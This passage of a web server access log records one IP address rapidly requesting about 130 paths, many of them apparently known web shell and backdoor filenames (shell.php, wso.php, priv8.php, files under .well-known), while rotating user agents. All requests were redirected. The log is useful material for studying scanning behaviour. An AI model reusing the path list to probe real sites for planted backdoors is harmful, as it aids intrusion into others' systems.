Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:42 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:42 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:42 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:43 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:43 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:43 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:43 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:44 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:44 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:44 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:44 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:33:44 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:33:45 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:45 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:45 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:45 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:46 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:46 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:46 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:46 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:47 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:47 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:47 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:33:47 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:33:47 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:48 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:48 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:33:49 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:33:49 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:49 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:33:50 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:50 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:50 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:50 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:50 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:51 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:51 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:33:51 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:52 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:52 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:52 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:33:52 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:53 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:53 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:33:53 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:53 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:54 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:54 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:33:54 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:54 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:54 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:55 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:55 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:33:55 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:55 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:56 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:33:56 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:56 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:56 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:33:56 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:57 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:57 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:33:57 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:57 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:58 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:58 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:33:58 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:58 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:59 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:59 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:59 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:59 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:00 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:00 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:00 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:00 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:01 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:01 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:01 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:01 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:02 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:02 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:34:02 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:03 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:03 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:34:04 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:34:04 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:05 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:34:05 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:05 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:05 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:07 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:07 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:07 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:08 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:08 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:09 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:09 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:09 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:10 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:10 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:10 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:10 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:11 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:11 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:11 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:34:12 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:13 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:13 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:14 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:34:15 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:15 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:34:16 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:17 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:17 -0400] 